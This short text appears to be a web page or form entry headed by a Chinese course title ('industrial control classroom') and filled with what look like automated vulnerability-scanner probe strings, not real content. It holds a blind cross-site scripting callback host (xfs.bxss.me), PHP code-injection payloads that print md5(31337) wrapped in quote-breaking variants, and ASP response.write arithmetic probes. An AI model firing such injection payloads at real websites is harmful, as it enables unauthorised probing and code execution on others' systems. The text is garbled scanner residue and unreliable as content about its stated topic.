工控课堂-开课了！！

^(#$!@#$)(()))******

/xfs.bxss.me

;print(md5(31337));

';print(md5(31337));$a='

";print(md5(31337));$a="

${@print(md5(31337))}

${@print(md5(31337))}\

response.write(9142857*9612921)

'+response.write(9142857*9612921)+'

"+response.write(9142857*9612921)+"